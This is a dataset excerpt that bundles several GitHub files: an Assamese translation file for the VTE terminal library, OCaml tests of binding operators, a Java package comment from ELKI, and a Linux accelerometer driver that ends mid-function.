text
stringlengths
2
100k
meta
dict
# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER # This file is distributed under the same license as the PACKAGE package. # # Amitakhya Phukan <[email protected]>, 2009. # Nilamdyuti Goswami <[email protected]>, 2011, 2014. msgid "" msgstr "" "Project-Id-Version: as\n" "Report-Msgid-Bugs-To: http://bugzilla.gnome.org/enter_bug.cgi?" "product=vte&keywords=I18N+L10N&component=general\n" "POT-Creation-Date: 2014-08-19 16:40+0000\n" "PO-Revision-Date: 2014-08-19 22:55+0530\n" "Last-Translator: Nilamdyuti Goswami <[email protected]>\n" "Language-Team: Assamese <[email protected]>\n" "Language: as\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Lokalize 1.5\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" #: ../src/app.ui.h:1 msgid "Copy" msgstr "কপি কৰক" #: ../src/app.ui.h:2 msgid "Paste" msgstr "পেইস্ট কৰক" #: ../src/app.ui.h:3 msgid "Reset (use Ctrl to reset and clear)" msgstr "পুনৰসংহতি কৰক (পুনৰসংহতি কৰি পৰিষ্কাৰ কৰিবলে Ctrl ব্যৱহাৰ কৰক)" #: ../src/app.ui.h:4 msgid "Reset" msgstr "পুনৰসংহতি কৰক" #: ../src/app.ui.h:5 msgid "Toggle input enabled setting" msgstr "ইনপুট সামৰ্থবান সংহতি টগল কৰক" #: ../src/app.ui.h:6 msgid "Input" msgstr "ইনপুট" #: ../src/iso2022.c:791 ../src/iso2022.c:799 ../src/iso2022.c:830 #: ../src/vte.c:2003 #, c-format msgid "Unable to convert characters from %s to %s." msgstr "%s ৰ পৰা %s লৈ আখৰ ৰূপান্তৰ কৰিবলৈ ব্যৰ্থ।" #: ../src/iso2022.c:1496 #, c-format msgid "Attempt to set invalid NRC map '%c'." msgstr "অবৈধ NRC মেপ '%c' নিৰ্ধাৰণৰ প্ৰচেষ্টা কৰা হৈছে।" #. Application signalled an "identified coding system" we haven't heard of. See ECMA-35 for gory details. #: ../src/iso2022.c:1526 msgid "Unrecognized identified coding system." msgstr "অজ্ঞাত পৰিচিত কোডিং প্ৰণালী।" #: ../src/iso2022.c:1585 ../src/iso2022.c:1612 #, c-format msgid "Attempt to set invalid wide NRC map '%c'." msgstr "অবৈধ প্ৰশস্ত NRC মেপ '%c' নিৰ্ধাৰণৰ প্ৰচেষ্টা কৰা হৈছে।" #. Bail back to normal mode. #: ../src/vteapp.c:1028 msgid "Could not open console.\n" msgstr "কনচল খোলিব নোৱাৰি।\n" #: ../src/vteapp.c:1138 msgid "Could not parse the geometry spec passed to --geometry" msgstr "--geometry বিকল্পৰ সৈতে প্ৰেৰিত geometry spec বিশ্লেষণ কৰিব নোৱাৰি" #. Translators: %s is replaced with error message returned by strerror(). #: ../src/vte.c:4223 #, c-format msgid "Error reading from child: %s." msgstr "ছাইল্ডৰ পৰা পঢ়োতে ত্ৰুটি: %s।" #: ../src/vte.c:4359 msgid "Unable to send data to child, invalid charset convertor" msgstr "ছাইল্ডলে তথ্য পঠাবলে অক্ষম, অবৈধ আখৰ পৰিৱৰ্তক" #: ../src/vte.c:4370 ../src/vte.c:5388 #, c-format msgid "Error (%s) converting data for child, dropping." msgstr "ছাইল্ডৰ বাবে তথ্য ৰূপান্তৰ কৰোতে ত্ৰুটি (%s), বৰ্জন কৰা হৈছে।" #: ../src/vte.c:7689 #, c-format msgid "Error reading PTY size, using defaults: %s\n" msgstr "PTY -ৰ আকাৰ পঢ়োতে ত্ৰুটি, অবিকল্পিত মান ব্যবহাৰ কৰা হৈছে: %s\n" #~ msgid "Duplicate (%s/%s)!" #~ msgstr "প্ৰতিলিপি (%s/%s)!" #~ msgid "Error compiling regular expression \"%s\"." #~ msgstr "সাধাৰণ অভিব্যক্তি \"%s\" কম্পাইল কৰোতে ত্ৰুটি।" #~ msgid "_vte_conv_open() failed setting word characters" #~ msgstr "_vte_conv_open() শব্দৰ আখৰ নিৰ্ধাৰণ কৰিবলৈ ব্যৰ্থ হল" #~ msgid "can not run %s" #~ msgstr "%s চলাওঁতে ব্যৰ্থ"
{ "pile_set_name": "Github" }
(* TEST * expect *) let id x = x let apply x f = f x let pair x y = x, y module Id = struct let (let+) = apply let (and+) = pair end;; [%%expect{| val id : 'a -> 'a = <fun> val apply : 'a -> ('a -> 'b) -> 'b = <fun> val pair : 'a -> 'b -> 'a * 'b = <fun> module Id : sig val ( let+ ) : 'a -> ('a -> 'b) -> 'b val ( and+ ) : 'a -> 'b -> 'a * 'b end |}];; let res = Id.( let+ x = 1 and+ y = 2 and+ z = 3 in [x; y; z] );; [%%expect{| val res : int list = [1; 2; 3] |}];; let res2 = Id.( let+ x = 1 in x + 2 );; [%%expect{| val res2 : int = 3 |}];; module List = struct let map l f = List.map f l let concat_map l f = let l = List.map f l in List.concat l let product xs ys = List.fold_right (fun x acc -> (List.map (fun y -> (x, y)) ys) @ acc) xs [] let (let+) = map let (and+) = product let ( let* ) = concat_map let ( and* ) = product end;; [%%expect{| module List : sig val map : 'a list -> ('a -> 'b) -> 'b list val concat_map : 'a list -> ('a -> 'b list) -> 'b list val product : 'a list -> 'b list -> ('a * 'b) list val ( let+ ) : 'a list -> ('a -> 'b) -> 'b list val ( and+ ) : 'a list -> 'b list -> ('a * 'b) list val ( let* ) : 'a list -> ('a -> 'b list) -> 'b list val ( and* ) : 'a list -> 'b list -> ('a * 'b) list end |}];; let map = List.( let+ x = [1; 2; 3] in x + 1 );; [%%expect{| val map : int list = [2; 3; 4] |}];; let map_and = List.( let+ x = [1; 2; 3] and+ y = [7; 8; 9] in x + y );; [%%expect{| val map_and : int list = [8; 9; 10; 9; 10; 11; 10; 11; 12] |}];; let bind = List.( let* x = [1; 2; 3] in let* y = [7; 8; 9] in [x + y] );; [%%expect{| val bind : int list = [8; 9; 10; 9; 10; 11; 10; 11; 12] |}];; let bind_and = List.( let* x = [1; 2; 3] and* y = [7; 8; 9] in [x + y] );; [%%expect{| val bind_and : int list = [8; 9; 10; 9; 10; 11; 10; 11; 12] |}];; let bind_map = List.( let* x = [1; 2; 3] in let+ y = [7; 8; 9] in x + y );; [%%expect{| val bind_map : int list = [8; 9; 10; 9; 10; 11; 10; 11; 12] |}];; module Let_unbound = struct end;; [%%expect{| module Let_unbound : sig end |}];; let let_unbound = Let_unbound.( let+ x = 1 in x + y );; [%%expect{| Line 3, characters 4-8: 3 | let+ x = 1 in ^^^^ Error: Unbound value let+ |}];; module And_unbound = struct let (let+) = Id.(let+) end;; [%%expect{| module And_unbound : sig val ( let+ ) : 'a -> ('a -> 'b) -> 'b end |}];; let and_unbound = And_unbound.( let+ x = 1 and+ y = 2 in x + y );; [%%expect{| Line 4, characters 4-8: 4 | and+ y = 2 in ^^^^ Error: Unbound value and+ |}];; module Ill_typed_1 = struct let (let+) = fun x f -> f (not x) end;; [%%expect{| module Ill_typed_1 : sig val ( let+ ) : bool -> (bool -> 'a) -> 'a end |}];; let ill_typed_1 = Ill_typed_1.( let+ x = 1 in x + y );; [%%expect{| Line 3, characters 13-14: 3 | let+ x = 1 in ^ Error: This expression has type int but an expression was expected of type bool |}];; module Ill_typed_2 = struct let (let+) = apply let (and+) = fun x y -> x +. y, x -. y end;; [%%expect{| module Ill_typed_2 : sig val ( let+ ) : 'a -> ('a -> 'b) -> 'b val ( and+ ) : float -> float -> float * float end |}];; let ill_typed_2 = Ill_typed_2.( let+ x = 1 and+ y = 2 in x + y );; [%%expect{| Line 3, characters 13-14: 3 | let+ x = 1 ^ Error: This expression has type int but an expression was expected of type float Hint: Did you mean `1.'? |}];; module Ill_typed_3 = struct let (let+) = 7 end;; [%%expect{| module Ill_typed_3 : sig val ( let+ ) : int end |}];; let ill_typed_3 = Ill_typed_3.( let+ x = 1 in x + y );; [%%expect{| Line 3, characters 4-8: 3 | let+ x = 1 in ^^^^ Error: The operator let+ has type int but it was expected to have type 'a -> ('b -> 'c) -> 'd |}];; module Ill_typed_4 = struct let (let+) = apply let (and+) = not end;; [%%expect{| module Ill_typed_4 : sig val ( let+ ) : 'a -> ('a -> 'b) -> 'b val ( and+ ) : bool -> bool end |}];; let ill_typed_4 = Ill_typed_4.( let+ x = 1 and+ y = 2 in x + y );; [%%expect{| Line 4, characters 4-8: 4 | and+ y = 2 in ^^^^ Error: The operator and+ has type bool -> bool but it was expected to have type bool -> 'a -> 'b Type bool is not compatible with type 'a -> 'b |}];; module Ill_typed_5 = struct let (let+) = (fun x f -> not x) let (and+) = pair end;; [%%expect{| module Ill_typed_5 : sig val ( let+ ) : bool -> 'a -> bool val ( and+ ) : 'a -> 'b -> 'a * 'b end |}];; let ill_typed_5 = Ill_typed_5.( let+ x = 1 and+ y = 2 and+ z = 3 in x + y + z );; [%%expect{| Lines 3-5, characters 9-14: 3 | .........x = 1 4 | and+ y = 2 5 | and+ z = 3... Error: These bindings have type (int * int) * int but bindings were expected of type bool |}];; module Ill_typed_6 = struct let (let+) = apply let (and+) = fun x y -> x + 1, y end;; [%%expect{| module Ill_typed_6 : sig val ( let+ ) : 'a -> ('a -> 'b) -> 'b val ( and+ ) : int -> 'a -> int * 'a end |}];; let ill_typed_6 = Ill_typed_6.( let+ x = 1 and+ y = 2 and+ z = 3 in x + y + z );; [%%expect{| Lines 3-4, characters 9-14: 3 | .........x = 1 4 | and+ y = 2 Error: These bindings have type int * int but bindings were expected of type int |}];; module Ill_typed_7 = struct let (let+) f x = f (x + 1) let (and+) = pair end;; [%%expect{| module Ill_typed_7 : sig val ( let+ ) : (int -> 'a) -> int -> 'a val ( and+ ) : 'a -> 'b -> 'a * 'b end |}];; let ill_typed_7 = Ill_typed_7.( let+ x = 1 and+ y = 2 in x + y );; [%%expect{| Line 3, characters 4-8: 3 | let+ x = 1 ^^^^ Error: The operator let+ has type (int -> 'a) -> int -> 'a but it was expected to have type (int -> 'a) -> ('b * 'c -> 'd) -> 'e Type int is not compatible with type 'b * 'c -> 'd |}];; module Indexed_monad = struct type opened = private Opened type closed = private Closed type (_, _, _) t = | Return : 'a -> ('s, 's, 'a) t | Map : ('s1, 's2, 'a) t * ('a -> 'b) -> ('s1, 's2, 'b) t | Both : ('s1, 's2, 'a) t * ('s2, 's3, 'b) t -> ('s1, 's3, 'a * 'b) t | Bind : ('s1, 's2, 'a) t * ('a -> ('s2, 's3, 'b) t) -> ('s1, 's3, 'b) t | Open : string -> (closed, opened, unit) t | Read : (opened, opened, string) t | Close : (opened, closed, unit) t let return x = Return x let map m f = Map(m, f) let both m1 m2 = Both(m1, m2) let bind m f = Bind(m, f) let open_ s = Open s let read = Read let close = Close type 'a state = | Opened : in_channel -> opened state | Closed : closed state let run (type a) (m : (closed, closed, a) t) : a = let rec loop : type a s1 s2. s1 state -> (s1, s2, a) t -> s2 state * a = fun state m -> match m, state with | Return x, _ -> state, x | Map(m, f), _ -> let state2, x = loop state m in state2, f x | Both(m1, m2), _ -> let state2, x = loop state m1 in let state3, y = loop state2 m2 in state3, (x, y) | Bind(m, f), _ -> let state2, x = loop state m in loop state2 (f x) | Open filename, Closed -> let ic = open_in filename in Opened ic, () | Read, Opened ic -> let c = input_line ic in state, c | Close, Opened ic -> close_in ic; Closed, () in let Closed, result = loop Closed m in result let ( let+ ) = map let ( and+ ) = both let ( let* ) = bind let ( and* ) = both end;; [%%expect {| module Indexed_monad : sig type opened = private Opened type closed = private Closed type (_, _, _) t = Return : 'a -> ('s, 's, 'a) t | Map : ('s1, 's2, 'a) t * ('a -> 'b) -> ('s1, 's2, 'b) t | Both : ('s1, 's2, 'a) t * ('s2, 's3, 'b) t -> ('s1, 's3, 'a * 'b) t | Bind : ('s1, 's2, 'a) t * ('a -> ('s2, 's3, 'b) t) -> ('s1, 's3, 'b) t | Open : string -> (closed, opened, unit) t | Read : (opened, opened, string) t | Close : (opened, closed, unit) t val return : 'a -> ('b, 'b, 'a) t val map : ('a, 'b, 'c) t -> ('c -> 'd) -> ('a, 'b, 'd) t val both : ('a, 'b, 'c) t -> ('b, 'd, 'e) t -> ('a, 'd, 'c * 'e) t val bind : ('a, 'b, 'c) t -> ('c -> ('b, 'd, 'e) t) -> ('a, 'd, 'e) t val open_ : string -> (closed, opened, unit) t val read : (opened, opened, string) t val close : (opened, closed, unit) t type 'a state = Opened : in_channel -> opened state | Closed : closed state val run : (closed, closed, 'a) t -> 'a val ( let+ ) : ('a, 'b, 'c) t -> ('c -> 'd) -> ('a, 'b, 'd) t val ( and+ ) : ('a, 'b, 'c) t -> ('b, 'd, 'e) t -> ('a, 'd, 'c * 'e) t val ( let* ) : ('a, 'b, 'c) t -> ('c -> ('b, 'd, 'e) t) -> ('a, 'd, 'e) t val ( and* ) : ('a, 'b, 'c) t -> ('b, 'd, 'e) t -> ('a, 'd, 'c * 'e) t end |}];; let indexed_monad1 = Indexed_monad.( let+ () = open_ "foo" and+ first = read and+ second = read and+ () = close in first ^ second );; [%%expect{| val indexed_monad1 : (Indexed_monad.closed, Indexed_monad.closed, string) Indexed_monad.t = Indexed_monad.Map (Indexed_monad.Both (Indexed_monad.Both (Indexed_monad.Both (Indexed_monad.Open "foo", Indexed_monad.Read), Indexed_monad.Read), Indexed_monad.Close), <fun>) |}];; let indexed_monad2 = Indexed_monad.( let* () = open_ "foo" in let* first = read in let* second = read in let* () = close in return (first ^ second) );; [%%expect{| val indexed_monad2 : (Indexed_monad.closed, Indexed_monad.closed, string) Indexed_monad.t = Indexed_monad.Bind (Indexed_monad.Open "foo", <fun>) |}];; let indexed_monad3 = Indexed_monad.( let+ first = read and+ () = open_ "foo" and+ second = read and+ () = close in first ^ second );; [%%expect{| Line 4, characters 14-25: 4 | and+ () = open_ "foo" ^^^^^^^^^^^ Error: This expression has type (Indexed_monad.closed, Indexed_monad.opened, unit) Indexed_monad.t but an expression was expected of type (Indexed_monad.opened, 'a, 'b) Indexed_monad.t Type Indexed_monad.closed is not compatible with type Indexed_monad.opened |}];; let indexed_monad4 = Indexed_monad.( let* () = open_ "foo" in let* first = read in let* () = close in let* second = read in return (first ^ second) );; [%%expect{| Lines 6-7, characters 4-29: 6 | ....let* second = read in 7 | return (first ^ second) Error: This expression has type (Indexed_monad.opened, Indexed_monad.opened, string) Indexed_monad.t but an expression was expected of type (Indexed_monad.closed, 'a, 'b) Indexed_monad.t Type Indexed_monad.opened is not compatible with type Indexed_monad.closed |}];; (* Test principality using constructor disambiguation *) module A = struct type t = A end module Let_principal = struct let ( let+ ) (x : A.t) f = f x end;; [%%expect{| module A : sig type t = A end module Let_principal : sig val ( let+ ) : A.t -> (A.t -> 'a) -> 'a end |}];; let let_principal = Let_principal.( let+ A = A in () );; [%%expect{| val let_principal : unit = () |}];; module And_principal = struct let ( let+ ) = apply let ( and+ ) (x : A.t) y = x, y end;; [%%expect{| module And_principal : sig val ( let+ ) : 'a -> ('a -> 'b) -> 'b val ( and+ ) : A.t -> 'a -> A.t * 'a end |}];; let and_principal = And_principal.( let+ _ = A and+ () = () in () );; [%%expect{| val and_principal : unit = () |}];; module Let_not_principal = struct let ( let+ ) = apply end;; [%%expect{| module Let_not_principal : sig val ( let+ ) : 'a -> ('a -> 'b) -> 'b end |}];; let let_not_principal = Let_not_principal.( let+ A = A.A in () );; [%%expect{| val let_not_principal : unit = () |}, Principal{| Line 3, characters 9-10: 3 | let+ A = A.A in ^ Error: Unbound constructor A |}];; module And_not_principal = struct let ( let+ ) = apply let ( and+ ) x y = if true then x,y else y,x end;; [%%expect{| module And_not_principal : sig val ( let+ ) : 'a -> ('a -> 'b) -> 'b val ( and+ ) : 'a -> 'a -> 'a * 'a end |}];; let and_not_principal = And_not_principal.( fun x y -> let+ A.A = x and+ A = y in () );; [%%expect{| val and_not_principal : A.t -> A.t -> unit = <fun> |}, Principal{| Line 5, characters 11-12: 5 | and+ A = y in ^ Error: Unbound constructor A |}];; module Let_not_propagated = struct let ( let+ ) = apply end;; [%%expect{| module Let_not_propagated : sig val ( let+ ) : 'a -> ('a -> 'b) -> 'b end |}];; let let_not_propagated : A.t = Let_not_propagated.( let+ x = 3 in A );; [%%expect{| Line 4, characters 4-5: 4 | A ^ Error: Unbound constructor A |}];; module Side_effects_ordering = struct let r = ref [] let msg s = r := !r @ [s] let output () = !r let ( let+ ) x f = msg "Let operator"; f x let ( and+ ) a b = msg "First and operator"; a, b let ( and++ ) a b = msg "Second and operator"; a, b end;; [%%expect{| module Side_effects_ordering : sig val r : string list ref val msg : string -> unit val output : unit -> string list val ( let+ ) : 'a -> ('a -> 'b) -> 'b val ( and+ ) : 'a -> 'b -> 'a * 'b val ( and++ ) : 'a -> 'b -> 'a * 'b end |}];; let side_effects_ordering = Side_effects_ordering.( let+ () = msg "First argument" and+ () = msg "Second argument" and++ () = msg "Third argument" in output () );; [%%expect{| val side_effects_ordering : string list = ["First argument"; "Second argument"; "First and operator"; "Third argument"; "Second and operator"; "Let operator"] |}];; module GADT_ordering = struct type point = { x : int; y : int } type _ is_point = | Is_point : point is_point let (let+) = apply let (and+) = pair end;; [%%expect{| module GADT_ordering : sig type point = { x : int; y : int; } type _ is_point = Is_point : point is_point val ( let+ ) : 'a -> ('a -> 'b) -> 'b val ( and+ ) : 'a -> 'b -> 'a * 'b end |}];; let gadt_ordering = GADT_ordering.( fun (type a) (is_point : a is_point) (a : a) -> let+ Is_point : a is_point = is_point and+ { x; y } : a = a in x + y );; [%%expect{| val gadt_ordering : 'a GADT_ordering.is_point -> 'a -> int = <fun> |}];; (* This example doesn't produce a good error location. To fix this we need to handle the patterns directly rather than elaborating them to tuples. We'd like to do this in future but it is quite a bit of work, so for now we leave the location as it is. It should only appear in principal mode when using GADTs anyway. *) let bad_location = GADT_ordering.( fun (type a) (is_point : a is_point) (a : a) -> let+ Is_point = is_point and+ { x; y } = a in x + y );; [%%expect{| val bad_location : 'a GADT_ordering.is_point -> 'a -> int = <fun> |}, Principal{| Line 4, characters 6-10: 4 | let+ Is_point = is_point ^^^^ Error: This pattern matches values of type GADT_ordering.point GADT_ordering.is_point * GADT_ordering.point but a pattern was expected which matches values of type a GADT_ordering.is_point * a Type GADT_ordering.point is not compatible with type a |}];;
{ "pile_set_name": "Github" }
/** * Spatial outlier neighborhood classes */ /* * This file is part of ELKI: * Environment for Developing KDD-Applications Supported by Index-Structures * * Copyright (C) 2019 * ELKI Development Team * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ package elki.outlier.spatial.neighborhood;
{ "pile_set_name": "Github" }
/* * 3-axis accelerometer driver for MXC4005XC Memsic sensor * * Copyright (c) 2014, Intel Corporation. * * This program is free software; you can redistribute it and/or modify it * under the terms and conditions of the GNU General Public License, * version 2, as published by the Free Software Foundation. * * This program is distributed in the hope it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for * more details. */ #include <linux/module.h> #include <linux/i2c.h> #include <linux/iio/iio.h> #include <linux/acpi.h> #include <linux/regmap.h> #include <linux/iio/sysfs.h> #include <linux/iio/trigger.h> #include <linux/iio/buffer.h> #include <linux/iio/triggered_buffer.h> #include <linux/iio/trigger_consumer.h> #define MXC4005_DRV_NAME "mxc4005" #define MXC4005_IRQ_NAME "mxc4005_event" #define MXC4005_REGMAP_NAME "mxc4005_regmap" #define MXC4005_REG_XOUT_UPPER 0x03 #define MXC4005_REG_XOUT_LOWER 0x04 #define MXC4005_REG_YOUT_UPPER 0x05 #define MXC4005_REG_YOUT_LOWER 0x06 #define MXC4005_REG_ZOUT_UPPER 0x07 #define MXC4005_REG_ZOUT_LOWER 0x08 #define MXC4005_REG_INT_MASK1 0x0B #define MXC4005_REG_INT_MASK1_BIT_DRDYE 0x01 #define MXC4005_REG_INT_CLR1 0x01 #define MXC4005_REG_INT_CLR1_BIT_DRDYC 0x01 #define MXC4005_REG_CONTROL 0x0D #define MXC4005_REG_CONTROL_MASK_FSR GENMASK(6, 5) #define MXC4005_CONTROL_FSR_SHIFT 5 #define MXC4005_REG_DEVICE_ID 0x0E enum mxc4005_axis { AXIS_X, AXIS_Y, AXIS_Z, }; enum mxc4005_range { MXC4005_RANGE_2G, MXC4005_RANGE_4G, MXC4005_RANGE_8G, }; struct mxc4005_data { struct device *dev; struct mutex mutex; struct regmap *regmap; struct iio_trigger *dready_trig; __be16 buffer[8]; bool trigger_enabled; }; /* * MXC4005 can operate in the following ranges: * +/- 2G, 4G, 8G (the default +/-2G) * * (2 + 2) * 9.81 / (2^12 - 1) = 0.009582 * (4 + 4) * 9.81 / (2^12 - 1) = 0.019164 * (8 + 8) * 9.81 / (2^12 - 1) = 0.038329 */ static const struct { u8 range; int scale; } mxc4005_scale_table[] = { {MXC4005_RANGE_2G, 9582}, {MXC4005_RANGE_4G, 19164}, {MXC4005_RANGE_8G, 38329}, }; static IIO_CONST_ATTR(in_accel_scale_available, "0.009582 0.019164 0.038329"); static struct attribute *mxc4005_attributes[] = { &iio_const_attr_in_accel_scale_available.dev_attr.attr, NULL, }; static const struct attribute_group mxc4005_attrs_group = { .attrs = mxc4005_attributes, }; static bool mxc4005_is_readable_reg(struct device *dev, unsigned int reg) { switch (reg) { case MXC4005_REG_XOUT_UPPER: case MXC4005_REG_XOUT_LOWER: case MXC4005_REG_YOUT_UPPER: case MXC4005_REG_YOUT_LOWER: case MXC4005_REG_ZOUT_UPPER: case MXC4005_REG_ZOUT_LOWER: case MXC4005_REG_DEVICE_ID: case MXC4005_REG_CONTROL: return true; default: return false; } } static bool mxc4005_is_writeable_reg(struct device *dev, unsigned int reg) { switch (reg) { case MXC4005_REG_INT_CLR1: case MXC4005_REG_INT_MASK1: case MXC4005_REG_CONTROL: return true; default: return false; } } static const struct regmap_config mxc4005_regmap_config = { .name = MXC4005_REGMAP_NAME, .reg_bits = 8, .val_bits = 8, .max_register = MXC4005_REG_DEVICE_ID, .readable_reg = mxc4005_is_readable_reg, .writeable_reg = mxc4005_is_writeable_reg, }; static int mxc4005_read_xyz(struct mxc4005_data *data) { int ret; ret = regmap_bulk_read(data->regmap, MXC4005_REG_XOUT_UPPER, (u8 *) data->buffer, sizeof(data->buffer)); if (ret < 0) { dev_err(data->dev, "failed to read axes\n"); return ret; } return 0; } static int mxc4005_read_axis(struct mxc4005_data *data, unsigned int addr) { __be16 reg; int ret; ret = regmap_bulk_read(data->regmap, addr, (u8 *) &reg, sizeof(reg)); if (ret < 0) { dev_err(data->dev, "failed to read reg %02x\n", addr); return ret; } return be16_to_cpu(reg); } static int mxc4005_read_scale(struct mxc4005_data *data) { unsigned int reg; int ret; int i; ret = regmap_read(data->regmap, MXC4005_REG_CONTROL, &reg); if (ret < 0) { dev_err(data->dev, "failed to read reg_control\n"); return ret; } i = reg >> MXC4005_CONTROL_FSR_SHIFT; if (i < 0 || i >= ARRAY_SIZE(mxc4005_scale_table)) return -EINVAL; return mxc4005_scale_table[i].scale; } static int mxc4005_set_scale(struct mxc4005_data *data, int val) { unsigned int reg; int i; int ret; for (i = 0; i < ARRAY_SIZE(mxc4005_scale_table); i++) { if (mxc4005_scale_table[i].scale == val) { reg = i << MXC4005_CONTROL_FSR_SHIFT; ret = regmap_update_bits(data->regmap, MXC4005_REG_CONTROL, MXC4005_REG_CONTROL_MASK_FSR, reg); if (ret < 0) dev_err(data->dev, "failed to write reg_control\n"); return ret; } } return -EINVAL; } static int mxc4005_read_raw(struct iio_dev *indio_dev, struct iio_chan_spec const *chan, int *val, int *val2, long mask) { struct mxc4005_data *data = iio_priv(indio_dev); int ret; switch (mask) { case IIO_CHAN_INFO_RAW: switch (chan->type) { case IIO_ACCEL: if (iio_buffer_enabled(indio_dev)) return -EBUSY; ret = mxc4005_read_axis(data, chan->address); if (ret < 0) return ret; *val = sign_extend32(ret >> chan->scan_type.shift, chan->scan_type.realbits - 1); return IIO_VAL_INT; default: return -EINVAL; } case IIO_CHAN_INFO_SCALE: ret = mxc4005_read_scale(data); if (ret < 0) return ret; *val = 0; *val2 = ret; return IIO_VAL_INT_PLUS_MICRO; default: return -EINVAL; } } static int mxc4005_write_raw(struct iio_dev *indio_dev, struct iio_chan_spec const *chan, int val, int val2, long mask) { struct mxc4005_data *data = iio_priv(indio_dev); switch (mask) { case IIO_CHAN_INFO_SCALE: if (val != 0) return -EINVAL; return mxc4005_set_scale(data, val2); default: return -EINVAL; } } static const struct iio_info mxc4005_info = { .read_raw = mxc4005_read_raw, .write_raw = mxc4005_write_raw, .attrs = &mxc4005_attrs_group, }; static const unsigned long mxc4005_scan_masks[] = { BIT(AXIS_X) | BIT(AXIS_Y) | BIT(AXIS_Z), 0 }; #define MXC4005_CHANNEL(_axis, _addr) { \ .type = IIO_ACCEL, \ .modified = 1, \ .channel2 = IIO_MOD_##_axis, \ .address = _addr, \ .info_mask_separate = BIT(IIO_CHAN_INFO_RAW), \ .info_mask_shared_by_type = BIT(IIO_CHAN_INFO_SCALE), \ .scan_index = AXIS_##_axis, \ .scan_type = { \ .sign = 's', \ .realbits = 12, \ .storagebits = 16, \ .shift = 4, \ .endianness = IIO_BE, \ }, \ } static const struct iio_chan_spec mxc4005_channels[] = { MXC4005_CHANNEL(X, MXC4005_REG_XOUT_UPPER), MXC4005_CHANNEL(Y, MXC4005_REG_YOUT_UPPER), MXC4005_CHANNEL(Z, MXC4005_REG_ZOUT_UPPER), IIO_CHAN_SOFT_TIMESTAMP(3), }; static irqreturn_t mxc4005_trigger_handler(int irq, void *private) { struct iio_poll_func *pf = private; struct iio_dev *indio_dev = pf->indio_dev; struct mxc4005_data *data = iio_priv(indio_dev); int ret; ret = mxc4005_read_xyz(data); if (ret < 0) goto err; iio_push_to_buffers_with_timestamp(indio_dev, data->buffer, pf->timestamp); err: iio_trigger_notify_done(indio_dev->trig); return IRQ_HANDLED; } static int mxc4005_clr_intr(struct mxc4005_data *data) { int ret; /* clear interrupt */ ret = regmap_write(data->regmap, MXC4005_REG_INT_CLR1, MXC4005_REG_INT_CLR1_BIT_DRDYC); if (ret < 0) { dev_err(data->dev, "failed to write to reg_int_clr1\n"); return ret; } return 0; } static int mxc4005_set_trigger_state(struct iio_trigger *trig, bool state) { struct iio_dev *indio_dev = iio_trigger_get_drvdata(trig); struct mxc4005_data *data = iio_priv(indio_dev); int ret; mutex_lock(&data->mutex); if (state) { ret = regmap_write(data->regmap, MXC4005_REG_INT_MASK1, MXC4005_REG_INT_MASK1_BIT_DRDYE); } else { ret = regmap_write(data->regmap, MXC4005_REG_INT_MASK1, ~MXC4005_REG_INT_MASK1_BIT_DRDYE); } if (ret < 0) { mutex_unlock(&data->mutex); dev_err(data->dev, "failed to update reg_int_mask1"); return ret; } data->trigger_enabled = state; mutex_unlock(&data->mutex); return 0; } static int mxc4005_trigger_try_reen(struct iio_trigger *trig) { struct iio_dev *indio_dev = iio_trigger_get_drvdata(trig); struct mxc4005_data *data = iio_priv(indio_dev); if (!data->dready_trig) return 0; return mxc4005_clr_intr(data); } static const struct iio_trigger_ops mxc4005_trigger_ops = { .set_trigger_state = mxc4005_set_trigger_state, .try_reenable = mxc4005_trigger_try_reen, }; static int mxc4005_chip_init(struct mxc4005_data *data) { int ret; unsigned int reg; ret = regmap_read(data->regmap, MXC4005_REG_DEVICE_ID, &reg); if (ret < 0) { dev_err(data->dev, "failed to read chip id\n"); return ret; } dev_dbg(data->dev, "MXC4005 chip id %02x\n", reg); return 0; } static int mxc4005_probe(struct i2c_client *client, const struct i2c_device_id *id) { struct mxc4005_data *data; struct iio_dev *indio_dev; struct regmap *regmap; int ret; indio_dev = devm_iio_device_alloc(&client->dev, sizeof(*data)); if (!indio_dev) return -ENOMEM; regmap = devm_regmap_init_i2c(client, &mxc4005_regmap_config); if (IS_ERR(regmap)) { dev_err(&client->dev, "failed to initialize regmap\n"); return PTR_ERR(regmap); } data = iio_priv(indio_dev); i2c_set_clientdata(client, indio_dev); data->dev = &client->dev; data->regmap = regmap; ret = mxc4005_chip_init(data); if (ret < 0) { dev_err(&client->dev, "failed to initialize chip\n"); return ret; } mutex_init(&data->mutex); indio_dev->dev.parent = &client->dev; indio_dev->channels = mxc4005_channels; indio_dev->num_channels = ARRAY_SIZE(mxc4005_channels); indio_dev->available_scan_masks = mxc4005_scan_masks; indio_dev->name = MXC4005_DRV_NAME; indio_dev->modes = INDIO_DIRECT_MODE; indio_dev->info = &mxc4005_info; ret = iio_triggered_buffer_setup(indio_dev, iio_pollfunc_store_time, mxc4005_trigger_handler, NULL); if (ret < 0) { dev_err(&client->dev, "failed to setup iio triggered buffer\n"); return ret; } if (client->irq > 0) { data->dready_trig = devm_iio_trigger_alloc(&client->dev, "%s-dev%d", indio_dev->name, indio_dev->id); if (!data->dready_trig) return -ENOMEM; ret = devm_request_threaded_irq(&client->dev, client->irq, iio_trigger_generic_data_rdy_poll, NULL, IRQF_TRIGGER_FALLING | IRQF_ONESHOT, MXC4005_IRQ_NAME, data->dready_trig); if (ret) { dev_err(&client->dev, "failed to init threaded irq\n"); goto err_buffer_cleanup; } data->dready_trig->dev.parent = &client->dev; data->dready_trig->ops = &mxc4005_trigger_ops; iio_trigger_set_drvdata(data->dready_trig, indio_dev); indio_dev->trig = data->dready_trig; iio_trigger_get(indio_dev->trig); ret = iio_trigger_register(data->dready_trig); if (ret) { dev_err(&client->dev, "failed to register trigger\n"); goto err_trigger_unregister; } } ret = 